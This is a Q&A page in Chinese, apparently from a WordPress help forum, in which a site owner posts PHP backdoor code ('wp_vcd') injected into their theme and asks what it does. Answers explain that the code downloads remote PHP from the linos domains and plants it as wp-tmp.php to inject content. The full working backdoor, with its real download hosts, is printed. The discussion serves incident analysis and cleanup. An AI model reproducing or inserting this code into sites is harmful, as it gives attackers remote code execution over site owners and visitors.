这段代码是做什么的?(注入代码被黑客攻击)

时间:2018-04-30 作者:Rodrigo Borba

下面的代码被注入到我的wordpress函数主题中。有人能解释一下代码的作用吗?这是怎么做到的?

$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists(\'theme_temp_setup\')) {
    $path = $_SERVER[\'HTTP_HOST\'] . $_SERVER[\'REQUEST_URI\'];
    if (stripos($_SERVER[\'REQUEST_URI\'], \'wp-cron.php\') == false && stripos($_SERVER[\'REQUEST_URI\'], \'xmlrpc.php\') == false) {

        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }

        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
            if( fwrite($handle, "<?php\\n" . $phpCode))
            {
            }
            else
            {
                $tmpfname = tempnam(\'./\', "theme_temp_setup");
                $handle   = fopen($tmpfname, "w+");
                fwrite($handle, "<?php\\n" . $phpCode);
            }
            fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }


        $wp_auth_key=\'7af507a87318d795efbdb0a3a9028aad\';
        if (($tmpcontent = @file_get_contents("http://www.linos.cc/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.linos.cc/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . \'wp-includes/wp-tmp.php\', $tmpcontent);

                if (!file_exists(ABSPATH . \'wp-includes/wp-tmp.php\')) {
                    @file_put_contents(get_template_directory() . \'/wp-tmp.php\', $tmpcontent);
                    if (!file_exists(get_template_directory() . \'/wp-tmp.php\')) {
                        @file_put_contents(\'wp-tmp.php\', $tmpcontent);
                    }
                }

            }
        }


    elseif ($tmpcontent = @file_get_contents("http://www.linos.me/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

        if (stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
            @file_put_contents(ABSPATH . \'wp-includes/wp-tmp.php\', $tmpcontent);

            if (!file_exists(ABSPATH . \'wp-includes/wp-tmp.php\')) {
                @file_put_contents(get_template_directory() . \'/wp-tmp.php\', $tmpcontent);
                if (!file_exists(get_template_directory() . \'/wp-tmp.php\')) {
                    @file_put_contents(\'wp-tmp.php\', $tmpcontent);
                }
            }

        }
    } elseif ($tmpcontent = @file_get_contents(ABSPATH . \'wp-includes/wp-tmp.php\') AND stripos($tmpcontent, $wp_auth_key) !== false) {
        extract(theme_temp_setup($tmpcontent));

    } elseif ($tmpcontent = @file_get_contents(get_template_directory() . \'/wp-tmp.php\') AND stripos($tmpcontent, $wp_auth_key) !== false) {
        extract(theme_temp_setup($tmpcontent)); 

    } elseif ($tmpcontent = @file_get_contents(\'wp-tmp.php\') AND stripos($tmpcontent, $wp_auth_key) !== false) {
        extract(theme_temp_setup($tmpcontent)); 

    } elseif (($tmpcontent = @file_get_contents("http://www.linos.xyz/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.linos.xyz/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
        extract(theme_temp_setup($tmpcontent)); 

    }





}
}

2 个回复
最合适的回答,由SO网友:Mat 整理而成

它从远程位置获取代码(http://www.linos.cc/code.php) 并使用将其存储在临时文件中sys_get_temp_dir() - http://php.net/manual/en/function.sys-get-temp-dir.php - 然后创建wp-tmp.php 在WordPress安装中的以下位置使用前面提到的代码归档:

/wp-includes/wp-tmp.php

/wp-content/themes/your-theme-name/wp-tmp.php

存储在此文件中的代码(http://www.linos.cc/code.php) 显示为使用将内容附加到WordPress网站页面the_content WordPress筛选器-https://codex.wordpress.org/Plugin_API/Filter_Reference/the_content.

注:域名linos。cc在NameCheap注册-https://www.namecheap.com/ - 因此,您可以随时向他们报告该域被用于滥用/恶意目的。您可以在此处查看域的详细信息并获取域注册人滥用报告电子邮件:http://whois.domaintools.com/linos.cc

SO网友:Rick Hellewell

很难说代码是如何做到这一点的。但我猜你的主题中有一个安全漏洞,或者是一个插件。

在任何情况下,它都会将内容添加到你的页面垃圾链接中,或者甚至尝试在访问者的系统上运行代码。(正如@mat在回答中提到的那样。)

所以,你需要摆脱它。谷歌上有很多关于如何“破解”网站的内容。这需要一些努力,但可以做到,IMHO。根据我清理网站的经验,我甚至写了一个流程:http://securitydawg.com/recovering-from-a-hacked-wordpress-site/ .

结束

相关推荐

Functions.php中的字符串转换不起作用

我在中使用了以下代码functions.php 要翻译一些文本:add_filter(\'gettext\', \'aad_translate_words_array\'); add_filter(\'ngettext\', \'aad_translate_words_array\'); function aad_translate_words_array( $translated ) { $words = array( // \'word to